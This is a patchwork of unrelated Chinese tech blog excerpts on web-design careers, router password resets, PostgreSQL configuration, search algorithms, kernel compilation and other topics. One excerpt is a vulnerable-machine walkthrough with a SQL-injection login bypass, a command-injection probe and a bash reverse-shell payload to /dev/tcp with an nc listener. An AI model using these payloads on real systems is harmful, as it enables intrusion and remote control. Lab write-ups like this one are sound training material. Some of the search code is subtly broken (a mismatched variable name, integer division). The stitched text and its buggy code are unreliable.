课题组报告 就业市场调查报告 技能要求 学习HTML(超文本标识语言);学习可视化设计软件,比如网页三剑客中的Dreamweaver和微软的Frontpage;学习Flash动画和Photoshop;学习动态设计语言和数据库知识;学习php;学习php+mysql组合 用人单位类型 IT行业:移动互联网领域;移动开发端;借助于平台的前端开发。 工作内容 负责公司网站的页面设计及美观优化;负责网站各类专题模板的设计及制作;负责网站各类活动的宣传广告、标语的图片设计;负责网站产品的美工设计,对交互体验有较为深入的了解;对页面进行持续的优化,不断提升访问者的用户体验;编写可复用的用户界面组件;协同其他技术部门,做前端开发技术支持。 薪酬 网页设计师新手的薪资一般是在3000--4000元左右,随着专业技能和工作经验的积累,薪资也会随之增长,一个有经验的网页设计师,薪资可以达到5000--7000元,而如果有能力胜任更高的职位,比如说首席网页设计师,平均月薪是不会低于8000元以下的。 发展路径 可以往程序开发或是架构设计师的方向发展。 积累经验方式 学习技能方面,从易到难循序渐进。内容方面,首先熟悉移动端布局,自适应布局及 css3 特性,掌握JavaScript、AJAX、CSS、jquery等web前端技术,熟悉Angular、Vue中的至少一种;然后熟悉常见的数据结构、算法和设计模式,理解并掌握Javascript语言核心技术DOM、BOM、Ajax、JSON等,对MVVM框架应用(如React/Vue等)有一定的经验,积累后端/移动端(安卓/iOS)开发经验,再接着成为精通HTML、CSS、JS,熟悉页面架构和布局,熟悉HTML5/CSS3等常用技术,熟悉常用UI框架(如bootstrap/pure/kendo等),精通JavaScript、AJAX、DOM、jQuery等技术,熟悉NodeJS,熟练使用Grunt、Gulp、Webpack等构建工具,具备MVVM框架开发经验,如React、VueJS、AngularJS等,良好的沟通和团队协作能力、热爱技术、责任心强、能推动技术框架的落地的优秀网页设计师。 进入心仪单位的路径 在大学期间丰富自身知识,积累经验。利用假期时间多接触实习工作,或者以兼职身份工作,积累经验。积累在大公司内的实操经验,规划好发展路径。 暑期规划 共接近两个月,约七个星期的时间进行暑期实践,计划分为三个部分来实行。首先我预计用一个星期的时间初步认识接触网页设计的内容,概况,基础操作。并再用一个星期的时间逐步加以实践,更深一步了解网页设计的具体操作,配套以具体实例。剩余五个星期约一个多月的时间,会用来逐步充实自己,打磨专业技能。计划实在暑期实践结束后,可以拥有足够的专业技术和专业素养,增添一门对标就业的实用技能,彻底掌握网页设计的知识,并可以迈入专业的领域。 学习材料准备 学习材料准备方面,因为个人选择的暑期实践内容是网页设计,准备在互联网上寻找各式各样的教学视频,素材等,作为主要的学习材料。

ch340预安装成功,但是就是无法识别 也无法卸载 怎么办?

文章目录 遇到的问题尝试解决 ch340预安装成功,但是就是无法识别 也无法卸载 怎么办? 最后的解决方法让我吐血… 遇到的问题 预安装倒是非常顺利 所谓预安装是指,在设备硬件还没插上计算机之前,我先预安装一下。等插好接口了,再正式安装上。 但等我插上了我的d1 mini板子,我的笔记本竟然毫无反应! 尝试解决 当时想到的原因就是没有识别到它。 难道是我的笔记本太笨了?我索罗了网上一圈的解决方案,有说换个usb口试试,有说把板子插上短路帽试试,有说你去设备管理器检查一下… 总之,能试的我都试了。三个小时过去,毫无进展。 就当我放弃,打算剑走偏锋,去某宝买usb转接ttl的板子,我都已经下单了!的这样的时刻, 我的脑子里悠悠地闪过了一个想法… 会不会是线的问题? 我用的是typeB的充电线,换成数据线,是不是就好了? 果然。。。。 随着电脑清脆的滴答提示音,就!好!了! 无语,大无语事件。 我一定要把这破事写下来,在索罗答案的过程中,我觉得可能存在很大一部分亲爱的网友们也有这个问题QAQ 祝福。。。

计算机管理员密码忘记了怎么恢复,新版tplink(tplogin.cn)管理员密码忘记了怎么办?...

tplink管理员密码忘记了怎么办? tplogin.cn管理员密码忘记了怎么办? 很多人在微信上联系我后咨询这个问题;鸿哥觉得,这个问题对于熟悉路由器的人来说,其实算不上是什么真正的问题。 但现实是,我们很多人对路由器、电脑方面的知识一点都不懂;遇到一些基础的问题,就不知道怎么解决了。这里我就不罗嗦了,下面详细说明一下,当忘记了管理员密码时的解决办法。 如果你把新版tplink路由器管理员密码搞忘了,也就是tplogin.cn管理页面的登录密码忘记了。 这时候的解决办法,点击“忘记密码”选项后,下面就会显示出来的。 忘记tplink管理员密码 忘记tplink管理员密码解决办法 如上图所示,“如忘记密码,请恢复出厂设置”。因为恢复出厂设置成功后,会清除掉这台tplink路由器中原来的管理员密码。 恢复出厂设置方法: 在这台tplink路由器通电的情况下,按住路由器背面的“复位”按钮直到所有指示灯同时亮起后松开。 忘记tplink管理员密码解决办法2 注意问题: (1)、新版tplink路由器的复位按钮,通常在电源接口的旁边,按钮下方有:Reset或者WPS/RESET英文字母。 (2)、大多数型号的新版tplink路由器,其复位按钮是在一个小孔里面;此时,需要用牙签、针等细小的物体,才能够按住里面的复位按钮。 (3)、恢复出厂设置成功后,除了会清除掉原来的管理员密码,还会清除原来的上网参数、无线网络名称和密码等信息。 也就是,恢复出厂设置后,这台tplink路由器就不能上网了;我们需要重新设置“管理员密码”、重新设置上网、重新设置无线名称和密码。 如果恢复出厂设置后,你不知道如何重新设置这台tplink路由器,可以点击下面的文章链接,查看具体的设置步骤。 好了,上面啰嗦了这么久,其实要告诉大家的就一点,那就是当新版tplink管理员密码忘记时,可以通过恢复出厂设置来解决,然后重新设置这台tplink路由器上网和无线网络即可。 另外,鸿哥建议大家,重新设置管理员密码后,找个便签纸,把管理员密码记录下来,然后贴在这台tplink路由器的壳子上面;俗话说得好,好记星不如烂笔头。 相关文章:

6.830 / 6.814: Syllabus 2021 - MIT Lab 2 - SimpleDB Operators

文章目录 1.参考链接:2.SimpleDB Architecture and Implementation Guide2.1Filter and Join2.2 Aggregates2.3HeapFile Mutability2.4. Insertion and deletion2.5. Page eviction 在此实验中,您将为SimpleDB编写一组运算符,以实现表修改(例如,插入和删除记录),选择,连接和聚合。 这些将构建在实验1中写入的基础之上,为您提供一个可以在多个表上执行简单查询的数据库系统。 此外,我们忽略了实验中的缓冲池管理问题:我们没有处理引用多个页面时出现的问题。 在Lab 2中,您将设计一个驱动策略来从缓冲池中刷新陈旧页面。 您无需在此实验中实现事务或锁定。 1.参考链接: 1.1 课程链接:http://db.lcs.mit.edu/6.830/assign.php 1.2 lab2链接:https://github.com/MIT-DB-Class/simple-db-hw-2021/blob/master/lab2.md 1.3 HearmingBear Lab2链接:https://blog.csdn.net/hjw199666/article/details/103590963 1.4 我的仓库地址:https://gitee.com/zhou-zhiqiang/db-class 2.SimpleDB Architecture and Implementation Guide 2.1Filter and Join Filter: This operator only returns tuples that satisfy a Predicate that is specified as part of its constructor. Hence, it filters out any tuples that do not match the predicate.

PostgreSQL pg_hba.conf 文件简析

点击上方"蓝字" 关注我们,享更多干货! pg_hba.conf文件存放在数据库集群的数据目录里。 HBA 的意思是 host-based authentication:基于主机的认证。在initdb初始化数据目录的时候,它会安装一个缺省的文件。 文件pg_hba.conf的常用格式是一套记录,每行一条。空白行被忽略,井号( # )开头的注释也被忽略并且记录不能跨行存在。 每条记录声明一种联接类型、一个客户端 IP 地址范围(如果和联接类型相关的话)、一个数据库名、一个用户名字以及对匹配这些参数的联接使用的认证方法。 第一条匹配联接类型、客户端地址和联接企图请求的数据库名和用户名的记录将用于执行认证。 下面是常用的pg_hba.conf配置: # TYPE DATABASE USER CIDR-ADDRESS METHOD # "local" is for Unix domain socket connections only local all all ident # IPv4 local connections: host all all 127.0.0.1/32 md5 # IPv6 local connections: host all all ::1/128 md5 TYPE定义了多种连接PostgreSQL的方式,分别是: “local”使用本地unix套接字 “host”使用TCP/IP连接(包括SSL和非SSL) “host”结合“IPv4地址”使用IPv4方式 结合“IPv6地址”则使用IPv6方式 “hostssl”只能使用SSL TCP/IP连接 “hostnossl”不能使用SSL TCP/IP连接 DATABASE指定哪个数据库、多个数据库、库名间以逗号分隔。“all”只有在没有其他条目符合时才代表“所有”,如果有其他条目符合则代表“除了该条之外的”,因为“all”的优先级最低。如下例: local testdb test reject local all all ident 这两条都是指定local访问方式,因为前一条指定了特定的数据库testdb,所以后一条的all代表的是除了tesstdb之外的数据库,同理,用户的all也是如此。

富文本框编辑器word复制粘贴图文上传

如何做到 ueditor批量上传word图片? 1、前端引用代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type"content="text/html; charset=utf-8"/> <title>编辑器完整版实例-1.2.6.0</title> <script type="text/javascript"src="ueditor.config.js"charset="utf-8"></script> <script type="text/javascript"src="ueditor.all.js"charset="utf-8"></script> <link type="text/css"rel="Stylesheet"href="WordPaster/css/WordPaster.css"/> <link type="text/css"rel="Stylesheet"href="WordPaster/js/skygqbox.css"/> <scrip ttype="text/javascript"src="WordPaster/js/json2.min.js"charset="utf-8"></script> <scrip ttype="text/javascript"src="WordPaster/js/jquery-1.4.min.js"charset="utf-8"></script> <scrip ttype="text/javascript"src="WordPaster/js/WordPaster.js"charset="utf-8"></script> <scrip ttype="text/javascript"src="WordPaster/js/skygqbox.js"charset="utf-8"></script> </head> <body> <textarea name="后台取值的key"id="myEditor">这里写你的初始化内容</textarea> <script type="text/javascript"> var pasterMgr = new WordPasterManager(); pasterMgr.Config["PostUrl"] = "http://localhost:81/WordPaster2/WordPasterUEditor1x/php/upload.php" pasterMgr.Load();//加载控件 UE.getEditor('myEditor',{onready:function(){//创建一个编辑器实例 pasterMgr.SetEditor(this); }}); </script> </body> </html> 请求 文件上传的默认请求是一个文件,作为具有“upload”字段的表单数据。 响应:文件已成功上传 当文件成功上传时的JSON响应: uploaded- 设置为1。 fileName - 上传文件的名称。 url - 上传文件的URL。 响应:文件无法上传 uploaded- 设置为0。

程序的开发流程

程序开发流程图详解 一、需求分析阶段 产品经理 PM 召集项目相关人员,开需求讨论会、讲解原型相关人员需要以此了理解产品的需求,提出质疑:这是什么功能,怎么做,为啥这么做,大概包含如下几个方面: 评估实现难度和实现成本,是否有潜在技术问题/风险对比一下自己整理的需求图,如果有和自己想的不符合的,提出疑问。理解PM提出此次需求的目的,明白哪些内容是重点,哪些次要,可以适当取舍。如果产品要求提供时间,简单项目可以预估,复杂项目不可马上给出时间,需要仔细评估,评估时间包含开发、自测、测试人员测试、修复bug、 上线准备 注意:该阶段之所以会要求其他人员也参与进来,主要是为了想要在项目开始的早期就让相关人员都了解项目的全貌、提供建议,有利于部门间协同,减少不必要的内耗。 二、项目开发阶段 相关人员分头行动: 评审 → 分头开发 → 合并&联调 2.1 产品设计 → PM\UE\UI 产品经理PM 要跟进需求画出"产品原型图"的草图, 交互式设计师再根据草图画出真正的"产品原型图" 如果PM 不画原型草图, 就会出现: 交互搞不懂产品, UI搞不懂交互, 技术搞不懂UI背后的逻辑, 领导看不到产品经理PM 的思路… 通常在你们公司有专们的交互设计师 UE 的情况下, PM 会偷懒不画草图, 光靠一张嘴白活, 还不一定能够白活明白, 这样就会导致UE对需求不清晰, 他不知道怎么干活, 加上PM 随时随地乱入交互, UE会更加懵逼, 他也不知道还要不要干不干活 (产品乱入交互)。所以个人建议,为了防止Garbage in and garbage out, PM 一定不要偷懒, 应该坚持画产品原型图的草图 (拿着汇报工作也方便那, 对不) , 并且不厌其烦地与UE 碰头讨论。总之PM 是整个项目的发起 者, 你偷懒, 后面的人全懵逼, 程序员想掐死你都是有原因的。 ---------------------常规套路如下-------------------- PM 与 UE PM 应该整理思维脑图, 头脑风暴之后, 优化思维脑图, 然后出草图, 你可以用Axure 或者 visio 甚至腾讯出的UI disigner或者最近比较流行的Pluid UI(APP设计工具) 来画草图, 也可以称之为低保真原型图, 在这个低保真原型图中, 你需要一一罗列功能点, 交互细节大可不必提及, 完成后主动找交互设计师进行沟通交流, 要耐心的将各个功能点向交互设计师描述清楚。

Datax 报错:ERROR StdoutPluginCollector---hive写入gp库

Datax 报错:ERROR StdoutPluginCollector -hive写入gp库,转换错误如下: error stdoutplugincollector 脏数据 其他网站说是什么版本,什么数据类型错误,不一而足,但是对我个人而言不好使,没办法,喝口凉水,告诉自己这时候不要慌,看下日志上方的Engin信息,看下reader下的column信息, "column":[ {“index”:"0","type":"varchar"}, ........ ] 这里hive中的数据类型就没有varchar,问题找到了,去改下sourceContentMap内部的sColumn类型就可以了。

买笔记本电脑如何避坑之接口篇

现在笔记本电脑成了和手机一样的刚需,无论是上大学还是日常工作,基本上是人手一台。那么对于那些非计算机专业或不懂电脑的小白来说,很容易买回来与自己需求不符合的电脑。一般电脑会使用很多年,5-7年,之前看评论时甚至很多人一台笔记本用了10年以上。考虑到一台电脑会陪伴我们很长一段时间,所以购买时还是慎重一点好。 一台笔记本,接口是越丰富越好,我在大学时毕业答辩需要用到HDMI接口连接投影仪,很多小伙伴都没有,临时到处借转接口,手忙脚乱的。所以接口丰富,遇事不慌。那么在看接口时需要注意哪几点呢,下面一一介绍。 1、USB接口 这可以说是最常用的接口了,也是我们最关注的接口,这个接口的好坏直接影响我们的日常体验。 先说下形态,USB的接口形态可以分为USB Type-A、USB Type-B、USB Type-C。在早些时候,Type-A和Type-B还有Micro和Mini版本。如下图: 其中,USB Type-C是最晚推出的形态,但是目前应用最广。在这之前,安卓机普遍都是用Micro系列的接口,现在Mini和Micro系列逐步淘汰了。下面介绍下标准。 USB接口的传输标准,接口形态以及标准的命名,都是由USB联盟负责的,不同的传输标准对应不同的传输速度。如下: (1) USB 1.0,传输速率为1.5Mbps (2) USB 1.1,传输速率为12Mbps (3) USB 2.0,传输速率为480Mbps (4) USB 3.0,传输速率为5Gbps 到这里还算是正常,随着不断迭代,速率越来越快。但是2013年7月份,他们推出了10Gbps的传输标准。这时你可能会想,按照以往惯例,应该叫USB4.0。但他们偏不,他们命名为USB3.1。你可能觉得也还过的去,毕竟1比0大。但是诡异的是,他们把原来的USB 3.0标准(也就是上面列表的第4个,那个5Gbps的)的名字改成了:USB 3.1 Gen 1,把这个10Gbps的命名改成了USB 3.1 Gen 2。到这里我们梳理一下,再列个表: (1) USB 1.0,传输速率为1.5Mbps (2) USB 1.1,传输速率为12Mbps (3) USB 2.0,传输速率为480Mbps (4) USB 3.1 Gen1,传输速率为5Gbps (5) USB 3.1 Gen2,传输速率为10Gbps 你以为风平浪静了,结果USB联盟又搞事情,2017年9月份,他们推出速度高达20Gbps传输标准。同时,他们又改名了,原来的USB 3.1 Gen1改成USB 3.2 Gen1;原来的USB3.1 Gen2改成了USB 3.2 Gen2。那么你可能觉得这个20Gbps的应该叫USB4.0了吧,或者USB 3.2 Gen3?都错!由于这次传输速率的更改是因为通道数由1条改为2条,所以他们命名为:USB 3.2 Gen 2×2。我们再列个表梳理下: (1) USB 1.0,传输速率为1.5Mbps (2) USB 1.1,传输速率为12Mbps (3) USB 2.

Cloud AV靶机

Cloud AV靶机渗透 arp-scan -l 扫描靶机IP地址 nmap -sV -Pn -A x.x.x.x 扫描端口 我们访问一下8080端口的web站点,可以看到要求我们输入验证码,通过几次万能密码的SQL注入尝试我们轻松突破了限制。 payload:1" or 1=1-- 随后我们被跳转到了scan页面,给我们列出文件列表,提示我们选择一个进行扫描,估计此处存在命令执行问题。 我们先随便选择一个bash查看运行结果,经过了漫长的等待时间,对方终于给了我们响应,从响应中可以看到服务器端是执行了一次对该文件的病毒扫描,接着我们重新选择一个文件长度较小的hello,并测试一下是否可以执行任意命令。 输入 hello;pwd 可以看到相应信息中携带了物理路径,我们的命令被成功执行 在第一步的基础上,尝试利用该漏洞向我们的kali建立一个反向链接 payload:hello;echo 'bash -i >& /dev/tcp/x.x.x.x/6767 0>&1'|bash kali端:nc -lvp 6767 反向连接建立成功 可以看到该web站点使用python语言编写,于是我们用pty创建一个功能健全的交互式shell,之后查看一下网站源码,审计一通除了已知的任意命令执行没有新的发现。 python -c "import pty;pty.spawn('/bin/sh');" cat app.py from flask import Flask, render_template, request, session import sqlite3 import subprocess import os conn = sqlite3.connect('database.sql',check_same_thread = False) c = conn.cursor() app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/login', methods=['POST'])

python tuple基本用法

目录 1 没有什么用的 1.1 获取属性时自动调用 __getattribute__() 1.2 返回变量的可迭代对象 __iter__() 1.3 实例化后自动调用,调用顺序在__init__之前 __new__() 1.4 反向相乘 __rmul__() 2 不常用的 2.1 向元组中添加新的元素 __add__() 2.2 判断元组中有没有指定的元素 __contains__() 2.3 判断元组是否相等 __eq__() 2.4 大于等于 __ge__() 2.5 获取元组中指定位置的元素 __getitem__() 2.6 大于 __gt__() 2.7 返回变量哈希值 __hash__() 2.8 小于等于 __le__() 2.9 获取元组的元素个数 __len__() 2.10 小于 __lt__() 2.11 元组乘积 __mul__() 2.12 不等于 __ne__() 2.13 将变量转化为字符串 __repr__() 3 常用的 3.1 创建元组 tuple() 3.2 创建一个新元组,将指定变量作为元组的第一个元素 __getnewargs__() 3.3 返回指定元素在元组中的数量 count() 3.4 返回指定元素在元组中所在的位置 index()

多路由器组局域网设置要点

将主路由器网关设置正确,及DHCP分配范围设置正确,例如为192.168.0.1,将DHCP分配范围设置为192.168.0.100之后,给静态IP留一定范围,保证手机与办公电脑的稳定性,手机由于是个人的,一般默认为动态获取IP地址,而办公电脑有时候由于需要静态IP地址的存在故最好统一设置为静态IP地址。子路由器从主路由器lan口连接到该子路由器lan口上,同时将子路由器的lan口设置为192.168.0.2,同时将该子路由器的DHCP功能关闭。也即使用主路由器的dhcp功能来统一分配所有的设备的IP地址。多路由器时,以此内推,可设置为192.168.0.3等等。采用无线中继组网时,需选择中继桥接功能,才能保证子路由器与主路由器在同一的网关中。为保证能通过网络搜索到该子路由器,也应将该路由器lan口地址设置为192.168.0.x。

CSS设置滚动条不占空间、单行/多行文本超出时显示省略号

CSS设置滚动条不占空间、单行/多行文本超出时显示省略号 MDN滚动条不占空间超出文本显示省略号多行文本时显示省略号 MDN overflowtext-overflow 滚动条不占空间 overflow: overlay; 行为与auto相同,但滚动条绘制在内容之上而不是占用空间。 仅在基于WebKit(例如,Safari)和基于Blink的(例如,Chrome或Opera)浏览器中受支持。 超出文本显示省略号 text-overflow: ellipsis; 这个关键字的意思是“用一个省略号 (’…’, U+2026 HORIZONTAL ELLIPSIS)来表示被截断的文本”。这个省略号被添加在内容区域中,因此会减少显示的文本。如果空间太小到连省略号都容纳不下,那么这个省略号也会被截断。 这个属性并不会强制“溢出”事件的发生,因此为了能让"text-overflow"能够生效,程序员们必须要在元素上添加几个额外的属性,比如"将overflow设置为hidden"。 <div>div, div, div, div, div, div, div</div> <span>span, span, span, span, span, span</span> div { text-overflow: ellipsis; /* 超出文本显示省略号 */ /* 为了能让"text-overflow"能够生效 */ overflow: hidden; white-space: nowrap; width: 100px; } span { text-overflow: ellipsis; /* 超出文本显示省略号 */ /* 为了能让"text-overflow"能够生效 */ overflow: hidden; white-space: nowrap; width: 100px; display: inline-block; } 多行文本时显示省略号 以上方法只适用于单行文本的情况,若需要在多行文本时显示省略号,则需要使用webkit私有属性:

合理的运动减肥的心率

静态心率: 清晨醒来的心率 最大心率=【220-年龄, 或者 200 - (0.5 * 年龄)】 ,【跑不动的心率】,【跑不动后再尽全力加速跑到最最后一部也跑不动的心率】3个心率中的最大值 最高燃脂心率=(最大心率 - 静态心率)x 0.7 + 静态心率 最低燃脂心率=(最大心率 - 静态心率)x 0.6 + 静态心率 当运动时的心率保持在最低燃脂心率和最高燃脂心率之间时燃烧的就是脂肪 简洁算法:最大心率【220-年龄】的60%到70%之间就可以燃脂

计算机里的水平居中在哪里,电脑居中在哪里啊

大家好,我是时间财富网智能客服时间君,上述问题将由我为大家进行解答。 电脑文字居中方法如下: 1、以电脑中安装的Word文档为例,首先在文档的页面中输入需要居中对齐显示的文字内容,并选中该文字; 2、然后点击文档上方的工具栏中的“居中对齐”图标; 3、即可将选中的文字内容设置为居中都显示了; 4、或者右键点击选中的文字,在弹出的选项中点击“段落”; 5、然后在打开的对话框中,将“对齐方式”更改为“居中对齐”,点击确定即可。 计算机(computer)俗称电脑,是现代一种用于高速计算的电子计算机器,可以进行数值计算,又可以进行逻辑计算,还具有存储记忆功能。是能够按照程序运行,自动、高速处理海量数据的现代化智能电子设备。由硬件系统和软件系统所组成,没有安装任何软件的计算机称为裸机。可分为超级计算机、工业控制计算机、网络计算机、个人计算机、嵌入式计算机五类,较先进的计算机有生物计算机、光子计算机、量子计算机等。 计算机发明者约翰・冯・诺依曼。计算机是20世纪最先进的科学技术发明之一,对人类的生产活动和社会活动产生了极其重要的影响,并以强大的生命力飞速发展。它的应用领域从最初的军事科研应用扩展到社会的各个领域,已形成了规模巨大的计算机产业,带动了全球范围的技术进步,由此引发了深刻的社会变革,计算机已遍及一般学校、企事业单位,进入寻常百姓家,成为信息社会中必不可少的工具。

查找算法汇总—手撕代码

目录 1、顺序查找 2、二分查找 折半查找 递归查找 3、插值查找 4、斐波那契查找 5、二叉排序树上的查找 二叉树的查找 二叉树的插入 二叉树的生成 二叉树的删除 6、哈希查找 1、顺序查找 int SequenceSearch(int a[], int value, int n) { int i; for(i = 0; i < n; i++) if(a[i] == value) return i; return -1; } 2、二分查找 折半查找 int BinarySearch(int a[], int value, int n) { int low, high, mid; low = 0; high = n - 1; while(low <= high) { mid = (low + high) / 2; if(a[mid] == value) return mid; if(a[mid] > value) high = mid - 1; if(a[mid] < value) low = mid + 1; } return -1; } 递归查找 int BinarySearch(int a[], int value, int low, int hight) { int mid = low + (high - low) / 2; if(a[mid] == value) return mid; if(a[mid] > value) return BinarySearch(a, value, low, mid - 1); if(a[mid] < value) return BinarySearch(a, value, mid + 1, high); } 3、插值查找 int InsertionSearch(int a[], int value, int low, int high) { int mid = low + (value - a[low]) / (a[high] - a[low]) * (high - low); if(a[mid] == value) return mid; if(a[mid] > value) return InsertionSearch(a, value, low, mid - 1); if(a[mid] < value) return InsertionSearch(a, value, mid + 1, high); } 4、斐波那契查找 斐波那契查找与折半查找很相似,他是根据斐波那契序列的特点对有序表进行分割的。他要求开始表中记录的个数为某个斐波那契数小1,及n=F(k)-1;

NVDLA学习笔记(1)

NVDLA学习笔记(1) 作者:夏风喃喃 参考:http://nvdla.org/index.html NVIDIA 深度学习加速器 (NVDLA) 是一个免费和开放的架构,促进设计深度学习推理加速器的标准方法。NVDLA 采用模块化架构,可扩展、高度可配置,旨在简化集成性和便携性。硬件支持广泛的 IoT 设备。 文章目录 NVDLA学习笔记(1)NVDLA入门一. 概述二. 使用 NVDLA 加速深度学习推理2.1 小 NVDLA 模型2.2 大 NVDLA 模型 三. 硬件架构3.1 连接3.2 组件3.2.1 卷积(Convolution)3.2.2 单数据点处理器(Single Data Point Processor)3.2.3 平面数据处理器(Planar Data Processor)3.2.4 跨通道数据处理器(Cross-channel Data Processor)3.2.5 数据Reshape引擎(Data Reshape Engine)3.2.6 Bridge DMA 3.3 可配置性 四. 软件设计4.1 编译工具:模型创建和编译4.2 Runtime环境:设备上模型推理 五. NVDLA 系统集成5.1 调整问题5.1.1 对于任何给定的瞬时所需的工作量,需要什么数学精度?5.1.2 MAC单位的数量和所需的内存带宽是多少?5.1.3 是否需要芯片上的SRAM? 5.2 NVDLA的示例面积和性能5.3 示例平台5.3.1 仿真5.3.2 FPGA 5.4 模型5.4.1 Verilog 模型5.4.2 仿真模型和验证套件 5.5 软件 NVDLA入门 一. 概述 深度学习推理的大部分计算工作基于数学操作,这些操作主要可分为四个部分:卷积,激活,池化和归一化。这些操作具有一些特点,使其特别适合特殊用途的硬件实现,它们的内存访问模式非常可预测,并且很容易并行。NVIDIA深度学习加速器 (NVDLA) 项目促进了标准化、开放的架构,以满足推理的计算需求。NVDLA 架构既可扩展又高度可配置,模块化设计保持灵活性,简化集成。标准化深度学习加速可促进与大多数现代深度学习网络的互操作性,有助于机器学习的统一规模增长。

Constructor:构造器,this 关键字,static:静态的,block 块,debug 调试工具

构造器:Constructor Constructor : 构造器| 构造方法 | 构造函数 特殊的方法 作用: 为对象初始化信息 (初始化: 第一次赋值) --> 为对象的成员变量在创建对象的同时赋值 使用: 跟随new一起使用(new第二步所调用的) 定义: 修饰符 类名(参数列表){ 方法体; } 不需要返回值类型,也没有void 可以根据需要定义return关键字,作用提前结束方法 构造器的名字与类名保持一致 特点: 构造器也是特殊的方法,定义多个重载构造器,构造器的名字都与类名保持一致,参数列表不同就能构成重载构造器 如果没有显示的定义构造器,编译器会自动为类提供一个空构造 如果存在显示定义的构造器,编译器不会提供任意构造器 先创建对象后赋值 创建对象的同时赋值,为创建赋值更早,在创建对象的时候就能确定成员的值,跟简单 为了所定义的所有的javabean,必须 至少一共一个空构造 注意: 1.构造器可以实现重载,因为是特殊的方法 2.没有显示定义构造器,编译器会默认提供空构造 3.如果存在显示 定义构造器,不会提供任何构造器,包括空构造 4.至少提供一个空构造...按需提供带参,不绝对,根据需求决定 this 关键字: 指代对象--指代当前对象(new的对象)--当前调用成员方法的对象|存储所有指向的对象的地址 构造器的首行调用本类中的其他构造器 this(参数列表) 区分同名的成员与局部的问题 默认就近原则 this.调用成员 如果出现同名问题,想要指代调用成员,通过this.成员-->因为this指代对象,通过对象调用成员 如果没有同名问题,可以省略this.调用成员 在构造器中使用this,默认指代当前new的对象,存储的是this的对象的地址 在的成员方法中使用this,this在成员方法中默认指代当前调用成员方法的对象 注意: 1.多个构造器之间不能相互调用,否则无法停止调用 2.在static修饰的内容中不能使用this static 静态的 成员修饰符 : 只能修饰成员位置的内容,不能修饰局部 修饰变量 : 静态变量|类变量 修饰方法 : 静态方法|类方法 修饰块 : 静态块 修饰类 : 静态内部类 静态内容的使用: 1.

Windows下安装flink服务

下载 点击链接到下载页 https://flink.apache.org/zh/downloads.html 选择对应文件 下载后解压 启动 下载包中没有启动bat文件, 所以需要创建对应文件 flink.bat 用于执行task ::############################################################################### :: Licensed to the Apache Software Foundation (ASF) under one :: or more contributor license agreements. See the NOTICE file :: distributed with this work for additional information :: regarding copyright ownership. The ASF licenses this file :: to you under the Apache License, Version 2.0 (the :: "License"); you may not use this file except in compliance :: with the License.

html css中margin的用法

css中margin的用法 1、使用auto实现在浏览器水平自动居中2、margin实现贴边3、使用margin垂直外边距的合并示例: 4、margin-top的塌陷问题1、外部盒子设置一个边框2、外部盒子设置 overflow:hidden3、使用伪类 1、使用auto实现在浏览器水平自动居中 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>margin相关内容</title> <style type="text/css"> .box01{ width: 200px; height: 200px; background-color: goldenrod; /*auto:表示自动计算浏览器水平距离,实现自动水平居中*/ /*margin: 50px auto 100px auto;*/ margin: 50px auto 100px; } </style> </head> <body> <div class="box01"></div> </body> </html> 显示效果如下所示: 2、margin实现贴边 即调整body标签的margin <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>margin的贴边实现</title> <style type="text/css"> body{ margin: 0; } .box01{ width: 200px; height: 200px; background-color: #d58512; margin-left: -50px; } </style> </head> <body> <div class="

nn.Embedding中padding_idx的理解

每个句子的长度并不一定是等长的, 这时候就需要对较短的句子进行padding, nn.Embedding中padding_idx是指定padding的索引值。 #实例化词嵌入对象,序列进行padding时补padding_idx。当采用补0的方式,padding_idx =0 #这里的词空间大小为5,词嵌入维度大小为7 embeder = nn.Embedding(5,7,padding_idx=0) print(embeder.weight) #padding_idx的位置为全0 print('*'*30) #有一个序列s为[2,3],假定我们在进行处理时规定序列的长度统一为4,所以序列s需要padding。 #padding_idx=0,所以s后面进行补0 s_padding = torch.LongTensor([2,3,0,0]) result = embeder(s_padding) print(result) print('-'*30) #举一个奇怪的例子,形成对比 #补4,即padding_idx=4 #这里要注意padding_idx要小于词空间的大小,这里的词空间大小为5,所以padding_idx不能超过4 embeder = nn.Embedding(5,7,padding_idx=4) print(embeder.weight) #padding_idx的位置为全0 print('*'*30) #有一个序列s为[2,3],假定我们在进行处理时规定序列的长度统一为4,所以序列s需要padding。 #padding_idx=4,所以s后面进行补4 s_padding = torch.LongTensor([2,3,4,4]) result = embeder(s_padding) print(result) 运行结果:

Linux内核编译与安装(完整过程)【Ubuntu18.04下】

0 前言 暑假作业的第一步。 第一次弄,失败了不少次,最后发现只要步骤都对,其实很简单,只是时间问题。 起初在CentOS7上编译安装5.13和4.14的内核都不行,也不知道是哪里出了问题,查了一下说似乎是GCC版本与内核版本不兼容,然后赶紧太麻烦了,遂放弃。 然后装了一个Ubuntu18.04,可以make menuconfig了,但是手贱不知道哪里弄错了,又不行了。 又装了Ubuntu个10.04,想装了3.6版本的内核(怕高版本不兼容),无奈刚开始没找到资源(其实很好找),还是用Ubuntu18.04吧。 重装了Ubuntu18.04,为以防万一,分配了50G空间,4G内存,1CPU,2核心,重新开始。 Ubuntu18.04第一次装可能会有些小问题。 一、网络不可用 更改设置->还原默认设置->VmNet8(NAT模式),搞定。 二、无法在Ubuntu与windows之间实现复制粘贴 sudo apt-get autoremove open-vm-tools sudo apt-get install open-vm-tools sudo apt-get install open-vm-tools-desktop 搞定,屡试不爽。 1 进入正题 Ubuntu版本:18.04 Kernel版本:4.14.238(18.04本身的版本是5,可以试试5.13.1,我这里是为了保险) 1.在www.kernel.org上选择要下载的内核版本 点击tarball,或者那个大黄方块的最新版本 (直接在Ubuntu上下载,可以使用命令,也可以网页上手动下载) 2.解压 sudo xz -d linux-4.14.238.tar.xz sudu tar -xvf linux-4.14.238.tar -C /usr/src/ 这里直接解压到/usr/src/ 这两步也似乎可简化成一步 用xvJf 3.安装依赖库 这一步很重要,要不后面会有很多报错 sudo apt-get update sudo apt-get install libncurses5-dev #用于menuconfig sudo apt-get install build-essential openssl sudo apt-get intall flex sudo apt-get intall bison sudo apt-get intall openssl sudo apt-get intall libssl-dev 如果还有报错,查看一下是不是还缺少其他依赖库就行了,网上也有很多报错的说明,直接搜linxu内核编译错误就行 4.

